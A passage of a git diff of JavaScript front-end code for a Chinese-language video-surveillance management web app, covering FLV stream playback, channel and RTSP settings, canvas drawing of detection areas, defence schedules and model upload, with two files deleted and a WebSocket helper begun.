'Content-Type': 'application/json' // 设置请求头,告诉服务器请求体的数据类型为 JSON
},
body: JSON.stringify(data) // 将 JavaScript 对象转换为 JSON 字符串
})
.then(response => response.json()) // 将响应解析为 JSON
.then(data => {
console.log('Success:', data);
const istatus = data.status;
if(istatus == 0){
showModal(data.msg); // 使用 Modal 显示消息
return;
}
})
.catch((error) => {
showModal(`Error: ${error.message}`); // 使用 Modal 显示错误信息
return;
});
}
else{
showModal('当前视频窗口未播放视频。');
return;
}
}
function startFLVStream(element_id,channel_id,channel_name) {
// 设置视频区域的标题
const titleElement = document.querySelector(`[data-frame-id="${element_id}"] .video-title`);
titleElement.textContent = channel_name;
//获取视频
// const imgElement = document.getElementById(`video-${element_id}`);
// imgElement.alt = `Stream ${channel_name}`;
const videoElement = document.getElementById(`video-${element_id}`);
let reconnectAttempts = 0;
const maxReconnectAttempts = 3;
const flvUrl = `ws://${window.location.host}/api/ws/video_feed/${channel_id}`;
function initFLVPlayer() {
if (flvjs.isSupported()) {
//要避免重复播放
if(element_id in video_list) {
closeFLVStream(element_id)
}else{
video_list[element_id] = element_id;
berror_state_list[element_id] = true;
}
flvPlayer = flvjs.createPlayer({
type: 'flv',
url: flvUrl,
});
flvPlayer.attachMediaElement(videoElement);
flvPlayer.load();
flvPlayer.play();
// 设定超时时间,例如10秒
timeoutId = setTimeout(() => {
console.error('No video data received. Closing connection.');
flvPlayer.destroy(); // 停止视频
// 显示错误信息或提示
displayErrorMessage(videoElement, "该视频源获取画面超时,请检查后刷新重试,默认两分钟后重连");
berror_state_list[element_id] = true;
}, 130000); // 130秒
// 错误处理
flvPlayer.on(flvjs.Events.ERROR, (errorType, errorDetail) => {
console.error(`FLV Error: ${errorType} - ${errorDetail}`);
if (reconnectAttempts < maxReconnectAttempts) {
reconnectAttempts++;
console.log("开始重连")
setTimeout(initFLVPlayer, 30000); // 尝试重连
} else {
displayErrorMessage(videoElement, "重连超时,请检查后重试,可联系技术支持!");
berror_state_list[element_id] = true;
}
});
// 监听播放事件,如果播放成功则清除超时计时器
flvPlayer.on(flvjs.Events.STATISTICS_INFO, () => {
clearTimeout(timeoutId);
timeoutId = null;
removeErrorMessage(videoElement);
berror_state_list[element_id] = false;
});
// 关闭视频流时销毁播放器
videoElement.addEventListener('closeVideo', () => {
if(flvPlayer){
flvPlayer.destroy();
videoElement.removeEventListener('closeVideo', onCloseVideo);
flvPlayer.off(flvjs.Events.ERROR);
flvPlayer.off(flvjs.Events.STATISTICS_INFO);
delete flvPlayer
}
});
} else {
console.error('FLV is not supported in this browser.');
}
}
initFLVPlayer();
}
// 主动关闭视频的函数
function closeFLVStream(id) {
const titleElement = document.querySelector(`[data-frame-id="${id}"] .video-title`);
if (titleElement.textContent === `Video Stream ${Number(id)+1}`) {
showModal('当前视频窗口未播放视频。');
return;
};
//发送视频链接接口
const url = '/api/close_stream';
const data = {"element_id":id};
// 发送 POST 请求
fetch(url, {
method: 'POST', // 指定请求方法为 POST
headers: {
'Content-Type': 'application/json' // 设置请求头,告诉服务器请求体的数据类型为 JSON
},
body: JSON.stringify(data) // 将 JavaScript 对象转换为 JSON 字符串
})
.then(response => response.json()) // 将响应解析为 JSON
.then(data => {
console.log('Success:', data);
const istatus = data.status;
if(istatus == 0){
showModal(data.msg); // 使用 Modal 显示消息
return;
}
else{
const videoFrame = document.getElementById(`video-${element_id}`);
const event = new Event('closeVideo');
videoFrame.dispatchEvent(event);
//videoFrame.style.display = 'none'; // 停止播放时隐藏 img 元素
titleElement.textContent = `Video Stream ${id+1}`;
removeErrorMessage(videoFrame);
berror_state_list[key] = false;
delete video_list[id];
}
})
.catch((error) => {
showModal(`Error: ${error.message}`); // 使用 Modal 显示错误信息
return;
});
}
function displayErrorMessage(imgElement, message) {
removeErrorMessage(imgElement)
imgElement.style.display = 'none'; // 隐藏图片
const errorElement = document.createElement('div');
errorElement.textContent = message;
errorElement.classList.add('error-message');
imgElement.parentNode.appendChild(errorElement);
}
function removeErrorMessage(imgElement) {
const errorElement = imgElement.parentNode.querySelector('.error-message');
if (errorElement) {
imgElement.parentNode.removeChild(errorElement);
imgElement.style.display = 'block';
}
}

25
web/main/static/resources/scripts/base.js

@ -35,7 +35,7 @@ function set_select_data(select_ele_id,datas){
}); });
} }
//设定选项选中状态 //设定选项选中状态---下拉框
function set_select_selct(select_ele_id,option_str){ function set_select_selct(select_ele_id,option_str){
let bfind = false; let bfind = false;
const select_Ele = document.getElementById(select_ele_id); const select_Ele = document.getElementById(select_ele_id);
@ -49,6 +49,29 @@ function set_select_selct(select_ele_id,option_str){
return bfind; return bfind;
} }
//设定单选按钮选中状态 ----单选按钮
function set_radio_selection(groupName, targetValue) {
// 获取所有同名的 radio 按钮
const radios = document.getElementsByName(groupName);
// 遍历 radio 按钮
for (const radio of radios) {
if (radio.value === targetValue) {
radio.checked = true; // 选中匹配项
return true; // 返回成功
}
}
console.error(`未找到值为 ${targetValue} 的 radio 按钮`);
return false; // 未找到匹配项
}
// 获取选中值--返回的value值 ----单选按钮
function get_radio_value(groupName) {
return document.querySelector(`input[name="${groupName}"]:checked`)?.value;
}
//将输入框内容转换为单精度型,若转换失败则返回0 -- 若需要整型,parseInt //将输入框内容转换为单精度型,若转换失败则返回0 -- 若需要整型,parseInt
function getInputValueAsFloat(id) { function getInputValueAsFloat(id) {
var value = document.getElementById(id).value; var value = document.getElementById(id).value;

735
web/main/static/resources/scripts/channel_manager.js

@ -1,735 +0,0 @@
const apiEndpoint = '/api/channel/list';
const rowsPerPage = 10;
//算法配置窗口部分控件
const searchEndpoint = '/api/channel/select';
const canvas = document.getElementById('myCanvas');
const ctx = canvas.getContext('2d');
const backgroundCanvas = document.getElementById('backgroundCanvas');
const backgroundCtx = backgroundCanvas.getContext('2d');
const img = new Image();
const tbody = document.getElementById('schedule-body');//布防计划
let currentPage = 1;
let channelData = [];
let channelData_bak = [];
let areaData = ["请选择"];
let currentEditingRow = null;
let cid_schedule = "-1";
let m_polygon = "";
let check_area = 0;
let draw_status = false; //是否是绘制状态,处于绘制状态才能开始绘制
let b_img = false; //有没有加载图片成功,如果没有初始化的时候就不绘制线条了。
let points = []; //检测区域的点坐标数组
//布防计划
document.addEventListener('DOMContentLoaded', function () {
fetchChannelData(); //初始化通道管理页面元素数据
document.getElementById('searchButton').addEventListener('click', function () {
performSearch();
});
//新增通道模块--保存按钮
document.getElementById('saveButton').addEventListener('click', function () {
addChannel(1);
});
//修改通道模块--保存按钮
document.getElementById('saveButton_cc').addEventListener('click', function () {
addChannel(2);
});
//算法配置模块--取消按钮
document.getElementById('cancelButton_mx').addEventListener('click', function () {
close_mx_model();
});
//保存算法配置--保存按钮
document.getElementById('saveButton_mx').addEventListener('click', function () {
save_mx_model();
});
//开始绘制区域按钮
document.getElementById('but_hzqy').addEventListener('click', function () {
startDraw();
});
});
//添加和修改通道 1--新增,2--修改
function addChannel(itype) {
let area;
let cName;
let Rtsp;
let cid;
const spinnerOverlay = document.getElementById("spinnerOverlay");
let saveButton = null;
let CNameInput = null;
let RTSPInput = null;
if(itype ==1){
saveButton = document.getElementById('saveButton');
CNameInput = document.getElementById('CNameInput');
RTSPInput = document.getElementById('RTSPInput');
area = document.getElementById('areaSelect_M').value;
cid = -1
}
else if(itype ==2){
saveButton = document.getElementById('saveButton_cc');
CNameInput = document.getElementById('CNameInput_cc');
RTSPInput = document.getElementById('RTSPInput_cc');
area = document.getElementById('areaSelect_CC').value;
cid = currentEditingRow.cells[0].innerText;
}
console.log("点击了保存按钮");
cName = CNameInput.value.trim();
Rtsp = RTSPInput.value.trim();
if(area === "请选择"){
alert('请选择所属区域');
}
else{
if (cName && Rtsp) {
saveButton.disabled = true;
//发送视频链接接口
const url = '/api/channel/add';
const data = {"area":area,"cName":cName,"Rtsp":Rtsp,"cid":cid};
// 显示 Spinners
spinnerOverlay.style.display = "flex";
// 发送 POST 请求
fetch(url, {
method: 'POST', // 指定请求方法为 POST
headers: {
'Content-Type': 'application/json' // 设置请求头,告诉服务器请求体的数据类型为 JSON
},
body: JSON.stringify(data) // 将 JavaScript 对象转换为 JSON 字符串
})
.then(response => response.json()) // 将响应解析为 JSON
.then(data => {
const istatus = data.status;
saveButton.disabled = false;
alert(data.msg); // 使用 Modal 显示消息
if(istatus == 1){
//刷新列表
fetchChannelData();
if(itype ==1){
//添加通道成功
$('#channelModal').modal('hide');
}
else if(itype==2){
//修改通道成功
currentEditingRow = null;
$('#ChangeC').modal('hide');
}
}
})
.catch((error) => {
alert(`Error: ${error.message}`); // 使用 Modal 显示错误信息
// 启用保存按钮
saveButton.disabled = false;
return;
})
.finally(()=>{
// 隐藏 Spinners
spinnerOverlay.style.display = "none";
});
} else {
alert('通道名称和RTSP地址不能为空');
}
}
}
//初始化通道管理页面元素数据
async function fetchChannelData() { //获取通道相关信息(/api/channel/list),刷新通道表格控件数据
try {
const response = await fetch(apiEndpoint);
channelData = await response.json();
channelData_bak = channelData;
url = "/api/channel/area/list"
area_response = await fetch(url);
areaDatas = await area_response.json();
areaData = ["请选择"]; //清空下
areaDatas.forEach((area) => {
areaData.push(area.area_name)
});
renderTable(); //刷新表格
renderPagination(); //刷新分页元素
renderAreaOptions(); //所属区域下来框
} catch (error) {
console.error('Error fetching channel data:', error);
}
}
//刷新表单页面数据
function renderTable() {
const tableBody = document.getElementById('table-body');
tableBody.innerHTML = '';
const start = (currentPage - 1) * rowsPerPage;
const end = start + rowsPerPage;
const pageData = channelData.slice(start, end);
const surplus_count = rowsPerPage - pageData.length;
pageData.forEach((channel) => {
// if(area_name!==channel.area_name){ //这里要求区域名称一样的要在一起
// area_name = channel.area_name;
// areaData.push(area_name);
// }
const row = document.createElement('tr');
row.innerHTML = `
<td>${channel.ID}</td>
<td>${channel.area_name}</td>
<td>${channel.channel_name}</td>
<td>${channel.ulr}</td>
<td>${channel.model_name}</td>
<td>
<button class="btn btn-primary btn-sm modify-btn">修改</button>
<button class="btn btn-secondary btn-sm algorithm-btn">算法</button>
<button class="btn btn-danger btn-sm delete-btn">删除</button>
</td>
`;
tableBody.appendChild(row);
row.querySelector('.modify-btn').addEventListener('click', () => modifyChannel(row));
row.querySelector('.algorithm-btn').addEventListener('click', () => configureAlgorithm(row));
row.querySelector('.delete-btn').addEventListener('click', () => deleteChannel(row));
});
}
//关键字查询数据
async function performSearch() {
try {
const area = document.getElementById('areaSelect').value;
const channelName = document.getElementById('channelNameInput').value;
if(area === "请选择" && channelName===""){
channelData = channelData_bak;
}
else if(area === "请选择"){
channelData = [];
channelData_bak.forEach((channel) => {
if(channelName === channel.channel_name){
channelData.push(channel);
}
});
}
else if(channelName === ""){
channelData = [];
channelData_bak.forEach((channel) => {
if(area === channel.area_name){
channelData.push(channel);
}
});
}
else{
channelData = [];
channelData_bak.forEach((channel) => {
if(area === channel.area_name && channelName === channel.channel_name){
channelData.push(channel);
}
});
}
// 渲染表格和分页控件
currentPage = 1; // 重置当前页为第一页
renderTable();
renderPagination();
} catch (error) {
console.error('Error performing search:', error);
}
}
//点击修改按钮,显示修改通道信息模块 --只是显示
function modifyChannel(row) {
// const cid = row.cells[0].innerText;
const areaName = row.cells[1].innerText;
const channelName = row.cells[2].innerText;
const url = row.cells[3].innerText;
const area = document.getElementById('areaSelect_CC');
const CName = document.getElementById('CNameInput_cc');
const RTSP = document.getElementById('RTSPInput_cc');
for(let i=0;i< area.options.length;i++){
if(area.options[i].value === areaName){
area.options[i].selected = true;
break;
}
}
CName.value = channelName;
RTSP.value = url;
currentEditingRow = row;
$('#ChangeC').modal('show');
}
//点击算法按钮,显示算法配置模块 --只是显示
function configureAlgorithm(row) {
//获取当前行信息
currentEditingRow = row;
const cid = row.cells[0].innerText;
//清除数据,若需要的话
ctx.clearRect(0, 0, canvas.width, canvas.height); //清除左侧绘画和画线信息
tbody.innerHTML = ''; //清空布防控件数据
points = []; //清空绘制检测区域
draw_status = false;
b_img = false;
document.getElementById('but_hzqy').textContent = "绘制区域";
//开始初始化算法管理模块
show_channel_model_schedule(cid); //获取并显示结构化数据
show_channel_img(cid); //获取并显示一帧图片 -- 获取不到图片就是黑画面 --并要绘制检测区域
//显示窗口
$('#MX_M').modal('show');
}
//获取一帧图片
function show_channel_img(cid){
const data = {"cid":cid};
fetch('/api/channel/img', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
})
.then(response => response.json())
.then(data => {
if (data.image) {
b_img = true;
img.src = 'data:image/jpeg;base64,' + data.image;
} else {
console.error('Error:', data.error);
}
})
.catch(error => console.error('Error:', error));
}
//图片加载事项
img.onload = () => { //清除、画图和画线应该分开
// 设置画布宽高
backgroundCanvas.width = canvas.width = img.width;
backgroundCanvas.height = canvas.height = img.height;
// 将图片绘制到背景画布上
backgroundCtx.drawImage(img, 0, 0, img.width, img.height);
drawLines();
// 将背景画布的内容复制到前台画布上
//ctx.drawImage(backgroundCanvas, 0, 0, canvas.width, canvas.height); //绘制画面
};
//开始和重新绘制
function startDraw(){
if(!document.getElementById('zdjc').checked){
alert("请先选择指定区域!");
return;
}
let but = document.getElementById('but_hzqy');
if(!draw_status){//开始绘制
if(points.length >0){
if (confirm('开始绘制将清除未提交保存的绘制数据,是否继续?')) {
draw_status = true;
points = [];
//按钮文字调整为结束绘制
but.textContent = '结 束 绘 制';
// 清除前台画布
ctx.clearRect(0, 0, canvas.width, canvas.height);
// 将背景画布的内容复制到前台画布上
ctx.drawImage(backgroundCanvas, 0, 0, canvas.width, canvas.height);
}
}
else{
draw_status = true;
but.textContent = '结束绘制';
}
}
else{//结束绘制
draw_status = false;
but.textContent = '绘制区域';
}
}
//单选按钮点击事件处理
function handleRadioClick(event) {
const selectedRadio = event.target;
console.log('Selected Radio:', selectedRadio.id);
// 根据选中的单选按钮执行相应操作
if (selectedRadio.id === 'qjjc') {
if(draw_status){
alert("请先结束绘制后,再切换检测方案!");
document.getElementById('zdjc').checked = true;
}
else{
// 处理全画面生效的逻辑
if(points.length>0){
if (!confirm('切换到全画面生效,将清除已绘制的区域信息,是否切换?')) {
document.getElementById('zdjc').checked = true;
}else{
points = [];
}
}
}
//console.log('全画面生效');
} else if (selectedRadio.id === 'zdjc') {
// 处理指定区域的逻辑
console.log('指定区域');
}
}
// 鼠标点击事件处理--动态绘图
canvas.addEventListener('click', (event) => {
if(draw_status){
const rect = canvas.getBoundingClientRect();
const scaleX = canvas.width / rect.width;
const scaleY = canvas.height / rect.height;
// 获取鼠标相对于canvas的位置
const x = (event.clientX - rect.left) * scaleX;
const y = (event.clientY - rect.top) * scaleY;
points.push({ x, y });
console.log(points);
//绘制线条
drawLines();
}
});
// 绘制区域,各点连接
function drawLines() {
if(b_img){
// 清除前台画布
ctx.clearRect(0, 0, canvas.width, canvas.height);
// 将背景画布的内容复制到前台画布上
ctx.drawImage(backgroundCanvas, 0, 0, canvas.width, canvas.height);
// 绘制点和线
ctx.strokeStyle = 'red';
ctx.lineWidth = 2;
if (points.length > 0) {
ctx.beginPath();
ctx.moveTo(points[0].x, points[0].y);
for (let i = 1; i < points.length; i++) {
ctx.lineTo(points[i].x, points[i].y);
}
// 连接最后一个点到起点
ctx.lineTo(points[0].x, points[0].y);
ctx.stroke();
}
points.forEach(point => {
ctx.beginPath();
ctx.arc(point.x, point.y, 5, 0, Math.PI * 2);
ctx.fillStyle = 'red';
ctx.fill();
});
}
}
//获取并显示该通道相关算法的结构化数据 --- 这里用GET会更加贴切一些
function show_channel_model_schedule(cid){
//发送视频链接接口
const url = '/api/channel/C2M';
const data = {"cid":cid};
// 发送 POST 请求
fetch(url, {
method: 'POST', // 指定请求方法为 POST
headers: {
'Content-Type': 'application/json' // 设置请求头,告诉服务器请求体的数据类型为 JSON
},
body: JSON.stringify(data) // 将 JavaScript 对象转换为 JSON 字符串
})
.then(response => response.json()) // 将响应解析为 JSON
.then(data => {
const m_datas = data.m_datas; //算法清单
const c2m_data = data.c2m_data; //该通道管理算法的相关数据,会有空的情况
const schedule = data.schedule; //布防计划
//console.log("m_datas--",m_datas);
//console.log("c2m_data--",c2m_data);
//console.log("schedule--",schedule);
//配置算法下拉清单
select_datas = ["请选择"];
m_datas.forEach(option => {
select_datas.push(option.model_name);
});
set_select_data("model_select",select_datas);
select_str = currentEditingRow.cells[4].innerText;
//检测区域
if(c2m_data.length >0){
model_id = c2m_data[0].model_id;
model_name = currentEditingRow.cells[4].innerText;
set_select_selct("model_select",model_name);
check_area = c2m_data[0].check_area
if( check_area == 0){ //全画面生效
document.getElementById('qjjc').checked = true;
m_polygon = "";
}
else{//指定区域
document.getElementById('zdjc').checked = true;
m_polygon = c2m_data[0].polygon;
console.log("m_polygon--",m_polygon);
if(m_polygon !== ""){ //指定区域了,一般是会有数据的。
const coords = parseCoordStr(m_polygon);
points = coords;
}
}
//阈值
document.getElementById('zxyz').value = c2m_data[0].conf_thres
document.getElementById('iouyz').value = c2m_data[0].iou_thres
}
//布防计划
const days = ['一', '二', '三', '四', '五', '六','日'];
const num_days=['0','1','2','3','4','5','6']
days.forEach((day, dayIndex) => {
const row = document.createElement('tr');
const dayCell = document.createElement('th');
dayCell.textContent = day;
row.appendChild(dayCell);
num_day = num_days[dayIndex]
for (let hour = 0; hour < 24; hour++) {
const cell = document.createElement('td');
if(schedule.length >0){
const status = schedule.find(item => item.day === num_day && item.hour === hour);
if (status && status.status === 1) {
cell.classList.add('blocked');
} else {
cell.classList.add('allowed');
}
}
else{
cell.classList.add('blocked');
}
row.appendChild(cell);
cell.addEventListener('click', () => {
if (cell.classList.contains('blocked')) {
cell.classList.remove('blocked');
cell.classList.add('allowed');
// Update status in the database
//updateStatus(day, hour, 0);
} else {
cell.classList.remove('allowed');
cell.classList.add('blocked');
// Update status in the database
//updateStatus(day, hour, 1);
}
});
}
tbody.appendChild(row);
});
})
.catch((error) => {
alert(`Error: ${error.message}`); // 使用 Modal 显示错误信息
return;
});
}
// 将字符串转换为数组
function parseCoordStr(str) {
return str.match(/\(([^)]+)\)/g).map(pair => {
const [x, y] = pair.replace(/[()]/g, '').split(',').map(Number);
return { x, y };
});
}
//关闭算法配置窗口
function close_mx_model(){
if (confirm('确定退出窗口吗?未保存的修改将丢失!')) {
$('#MX_M').modal('hide');
}
}
//保存算法配置窗口数据
function save_mx_model(){
let model_name; //算法名称
let check_area; //检测区域标识 0-全局,1-指定范围
let polygon_str; //具体的检测区域
let conf_thres; //置信阈值
let iou_thres; //iou阈值
let schedule; //布防计划
const saveButton = document.getElementById('saveButton_mx');
saveButton.disabled = true; //不可点击状态
//配置算法
model_name = document.getElementById("model_select").value;
//检测区域
if(document.getElementById('zdjc').checked){
check_area = 1;
console.log("points--",points);
if (points.length > 0){
const formattedArray = points.map(point => `(${point.x},${point.y})`);
polygon_str = `[${formattedArray.join(',')}]`;
}else{
polygon_str = "";
}
}else{
check_area = 0;
polygon_str = "";
}
//置信阈值和IOU阈值
conf_thres = getInputValueAsFloat('zxyz');
iou_thres = getInputValueAsFloat('iouyz');
//验证数据
if(model_name !== "请选择"){
console.log(model_name);
if(conf_thres <= 0 || conf_thres>=1 || iou_thres <= 0 || iou_thres>=1){
alert("阈值的有效范围是大于0,小于1;请输入正确的阈值(默认可0.5)。");
saveButton.disabled = false; //不可点击状态
return;
}
}
//布防计划
// 定义一个对象来存储数据
const scheduleData = {
'0': Array(24).fill(0),
'1': Array(24).fill(0),
'2': Array(24).fill(0),
'3': Array(24).fill(0),
'4': Array(24).fill(0),
'5': Array(24).fill(0),
'6': Array(24).fill(0)
};
// 遍历 tbody 的每一行
[...tbody.children].forEach((row, dayIndex) => {
// 获取当前行的所有单元格
const cells = row.getElementsByTagName('td');
// 遍历每一个单元格
for (let hour = 0; hour < cells.length; hour++) {
// 检查单元格的 class 是否包含 'blocked'
if (cells[hour].classList.contains('blocked')) {
// 将对应的 scheduleData 位置设置为 1
scheduleData[dayIndex][hour] = 1;
} else {
// 将对应的 scheduleData 位置设置为 0
scheduleData[dayIndex][hour] = 0;
}
}
});
// 将 scheduleData 对象转换为 JSON 字符串
const scheduleData_json = JSON.stringify(scheduleData);
//提交到服务器
// console.log("model_name--",model_name);
// console.log("check_area--",check_area);
// console.log("polygon_str--",polygon_str);
// console.log("iou_thres--",iou_thres);
// console.log("conf_thres--",conf_thres);
// console.log("schedule-- ",scheduleData_json);
cid = currentEditingRow.cells[0].innerText;
const url = '/api/channel/chanegeC2M';
const data = {"model_name":model_name,"check_area":check_area,"polygon_str":polygon_str,"iou_thres":iou_thres,
"conf_thres":conf_thres,"schedule":scheduleData_json,"cid":cid};
// 发送 POST 请求
fetch(url, {
method: 'POST', // 指定请求方法为 POST
headers: {
'Content-Type': 'application/json' // 设置请求头,告诉服务器请求体的数据类型为 JSON
},
body: JSON.stringify(data) // 将 JavaScript 对象转换为 JSON 字符串
})
.then(response => response.json()) // 将响应解析为 JSON
.then(data => {
const istatus = data.status;
if(istatus === 0){
alert(data.msg); // 使用 Modal 显示消息
// 启用保存按钮
saveButton.disabled = false;
return;
}
else{
// 启用保存按钮
saveButton.disabled = false;
//刷新列表
fetchChannelData();
//$('#MX_M').modal('hide');
alert("修改成功!");
}
})
.catch((error) => {
alert(`Error: ${error.message}`);
// 启用保存按钮
saveButton.disabled = false;
return;
});
}
//删除通道
function deleteChannel(row) {
if (confirm('确定删除此通道吗?')) {
cid = row.cells[0].innerText;
//发送视频链接接口
const url = '/api/channel/del';
const data = {"cid":cid};
// 发送 POST 请求
fetch(url, {
method: 'POST', // 指定请求方法为 POST
headers: {
'Content-Type': 'application/json' // 设置请求头,告诉服务器请求体的数据类型为 JSON
},
body: JSON.stringify(data) // 将 JavaScript 对象转换为 JSON 字符串
})
.then(response => response.json()) // 将响应解析为 JSON
.then(data => {
const istatus = data.status;
if(istatus === 0){
alert(data.msg); // 使用 Modal 显示消息
return;
}
else{
//刷新列表
row.remove();
alert("删除通道成功!");
}
})
.catch((error) => {
alert(`Error: ${error.message}`); // 使用 Modal 显示错误信息
return;
});
}
}
//刷新分页标签
function renderPagination() {
const pagination = document.getElementById('pagination');
pagination.innerHTML = '';
const totalPages = Math.ceil(channelData.length / rowsPerPage);
for (let i = 1; i <= totalPages; i++) {
const pageItem = document.createElement('li');
pageItem.className = 'page-item' + (i === currentPage ? ' active' : '');
pageItem.innerHTML = `<a class="page-link" href="#">${i}</a>`;
pageItem.addEventListener('click', (event) => {
event.preventDefault();
currentPage = i;
renderTable();
renderPagination();
});
pagination.appendChild(pageItem);
}
}
//刷新区域下拉控件
function renderAreaOptions() {
const areaSelect = document.getElementById('areaSelect');
const areaSelect_M = document.getElementById('areaSelect_M')
const areaSelect_CC = document.getElementById('areaSelect_CC')
//先清空
areaSelect.innerHTML = '';
areaSelect_M.innerHTML = '';
areaSelect_CC.innerHTML = '';
//再添加
areaData.forEach(option => {
const optionElement = document.createElement('option');
optionElement.textContent = option;
areaSelect.appendChild(optionElement);
const optionElement_m = document.createElement('option');
optionElement_m.textContent = option;
areaSelect_M.appendChild(optionElement_m);
const optionElement_cc = document.createElement('option');
optionElement_cc.textContent = option;
areaSelect_CC.appendChild(optionElement_cc);
});
}

303
web/main/static/resources/scripts/model_manager.js

@ -1,303 +0,0 @@
let currentPage = 1;
const rowsPerPage = 10;
let modelData = [];
let modelData_bak = []; //用于关键字检索
let currentEditingRow = null;
//页面加载初始化
document.addEventListener('DOMContentLoaded', function () {
fetchModelData(); //初始化通道管理页面元素数据
//新增算法模态框---保存按钮
document.getElementById('saveButton_model').addEventListener('click',function () {
addModel();
});
//配置算法模态框--保存按钮
document.getElementById('saveButton_config_model').addEventListener('click',function () {
post_configureModel();
});
//升级算法模态框--保存按钮
document.getElementById('saveButton_upmodel').addEventListener('click',function () {
post_modifyModel();
});
//查询按钮
document.getElementById('searchMButton').addEventListener('click',function () {
searchModel();
});
});
//获取算法列表数据,并更新页面
async function fetchModelData() {
try{
let response = await fetch('/api/model/list');
if (!response.ok) {
throw new Error('Network response was not ok');
}
modelData = await response.json();
modelData_bak = modelData;
currentPage = 1; // 重置当前页为第一页
renderTable(); //刷新表格
renderPagination();
}catch (error) {
console.error('Error fetching model data:', error);
}
}
//刷新表单页面数据
function renderTable() {
const tableBody = document.getElementById('table-body-model');
tableBody.innerHTML = ''; //清空
const start = (currentPage - 1) * rowsPerPage;
const end = start + rowsPerPage;
const pageData = modelData.slice(start, end);
const surplus_count = rowsPerPage - pageData.length;
pageData.forEach((model) => {
const row = document.createElement('tr');
row.innerHTML = `
<td>${model.ID}</td>
<td>${model.name}</td>
<td>${model.version}</td>
<td>${model.duration_time}</td>
<td>${model.proportion}</td>
<td>
<button class="btn btn-primary btn-sm modify-btn">升级</button>
<button class="btn btn-secondary btn-sm algorithm-btn">配置</button>
<button class="btn btn-danger btn-sm delete-btn">删除</button>
</td>
`;
tableBody.appendChild(row);
row.querySelector('.modify-btn').addEventListener('click', () => modifyModel(row));
row.querySelector('.algorithm-btn').addEventListener('click', () => configureModel(row));
row.querySelector('.delete-btn').addEventListener('click', () => deleteModel(row));
});
}
//刷新分页标签
function renderPagination() {
const pagination = document.getElementById('pagination-model');
pagination.innerHTML = '';
const totalPages = Math.ceil(modelData.length / rowsPerPage);
for (let i = 1; i <= totalPages; i++) {
const pageItem = document.createElement('li');
pageItem.className = 'page-item' + (i === currentPage ? ' active' : '');
pageItem.innerHTML = `<a class="page-link" href="#">${i}</a>`;
pageItem.addEventListener('click', (event) => {
event.preventDefault();
currentPage = i;
renderTable();
renderPagination();
});
pagination.appendChild(pageItem);
}
}
//显示升级算法模态框
function modifyModel(row){
currentEditingRow = row;
model_name = row.cells[1].innerText;
version_name = row.cells[2].innerText;
document.getElementById('update_mname_label').innerText = `算法名称: ${model_name}`;
document.getElementById('update_mversion_label').innerText = `当前版本: ${version_name}`;
$('#updateMM').modal('show');
}
//升级算法模态框--点击保存按钮
function post_modifyModel(){
mid = currentEditingRow.cells[0].innerText;
const btn = document.getElementById('saveButton_upmodel');
const fileInput = document.getElementById('updateModelFile');
const file = fileInput.files[0];
if(file){
btn.disabled = true; //不可点击
const formData = new FormData();
formData.append('file', file);
formData.append('mid', mid);
fetch('/api/model/upgrade', {
method: 'POST',
body: formData,
})
.then(response => response.json())
.then(data => {
const istatus = data.status;
alert(data.msg);
btn.disabled = false;
if(istatus == 1 ){
fetchModelData();
$('#updateMM').modal('hide');
}
})
.catch(error => {
console.error('Error:', error);
alert('升级失败,请重试。');
btn.disabled = false;
});
}
else{
alert('请选择升级包进行上传。');
btn.disabled = false;
}
}
//显示配置算法模态框
function configureModel(row){
currentEditingRow = row;
model_name = row.cells[1].innerText;
duration_time = row.cells[3].innerText;
proportion = row.cells[4].innerText;
//设置模态框控件遍历
document.getElementById('config_mname_label').innerText = `算法名称: ${model_name}`;
document.getElementById('duration_timeInput').value = duration_time;
document.getElementById('proportionInput').value = proportion;
$('#configMM').modal('show');
}
//配置算法模态框--点击保存按钮
function post_configureModel(){
mid = currentEditingRow.cells[0].innerText;
duration_time = parseInt(document.getElementById('duration_timeInput').value);
proportion = parseFloat(document.getElementById('proportionInput').value);
if(isNaN(duration_time) || isNaN(proportion) ){
alert("请输入数字!");
return;
}
if(proportion<=0 || proportion>=1){
alert("占比阈值需要大于0,且小于1");
return;
}
//提交数据
const url = '/api/model/changecnf';
const data = {"mid":mid,"duration_time":duration_time,"proportion":proportion};
// 发送 POST 请求
fetch(url, {
method: 'POST', // 指定请求方法为 POST
headers: {
'Content-Type': 'application/json' // 设置请求头,告诉服务器请求体的数据类型为 JSON
},
body: JSON.stringify(data) // 将 JavaScript 对象转换为 JSON 字符串
})
.then(response => response.json()) // 将响应解析为 JSON
.then(data => {
const istatus = data.status;
if(istatus === 0){
alert(data.msg);
return;
}
else{
//刷新列表
fetchModelData();
alert(data.msg);
$('#configMM').modal('hide');
}
})
.catch((error) => {
alert(`Error: ${error.message}`);
return;
});
}
//删除算法记录
function deleteModel(row){
if (confirm('确定删除此算法吗?')) {
mid = row.cells[0].innerText;
const url = '/api/model/del';
const data = {"mid":mid};
// 发送 POST 请求
fetch(url, {
method: 'POST', // 指定请求方法为 POST
headers: {
'Content-Type': 'application/json' // 设置请求头,告诉服务器请求体的数据类型为 JSON
},
body: JSON.stringify(data) // 将 JavaScript 对象转换为 JSON 字符串
})
.then(response => response.json()) // 将响应解析为 JSON
.then(data => {
const istatus = data.status;
if(istatus === 0){
alert(data.msg);
return;
}
else{
//刷新列表
row.remove();
alert("删除算法成功!");
}
})
.catch((error) => {
alert(`Error: ${error.message}`);
return;
});
}
}
//新增算法--保存按钮
function addModel(){
const btn = document.getElementById('saveButton_model');
const fileInput = document.getElementById('uploadModelFile');
const file = fileInput.files[0];
const mName = document.getElementById('MNameInput').value;
if (file && mName) {
btn.disabled = true; //不可点击
const formData = new FormData();
formData.append('file', file);
formData.append('mName', mName);
fetch('/api/model/add', {
method: 'POST',
body: formData,
})
.then(response => response.json())
.then(data => {
const istatus = data.status;
alert(data.msg);
btn.disabled = false;
if(istatus == 1 ){
fetchModelData();
$('#addMM').modal('hide');
}
})
.catch(error => {
console.error('Error:', error);
alert('上传失败,请重试。');
btn.disabled = false;
});
} else {
alert('请填写算法名称并选择一个升级包进行上传。');
btn.disabled = false;
}
}
//关键字检索
function searchModel(){
try {
const modelName = document.getElementById('modelNameInput').value;
if(modelName===""){
modelData = modelData_bak;
}
else{
modelData = [];
modelData_bak.forEach((model) => {
if(model.name.includes(modelName)){
modelData.push(model);
}
});
}
// 渲染表格和分页控件
currentPage = 1; // 重置当前页为第一页
renderTable();
renderPagination();
} catch (error) {
console.error('Error performing search:', error);
}
}

82
web/main/static/resources/scripts/my_web_socket.js

@ -0,0 +1,82 @@
function getWsUrl() {
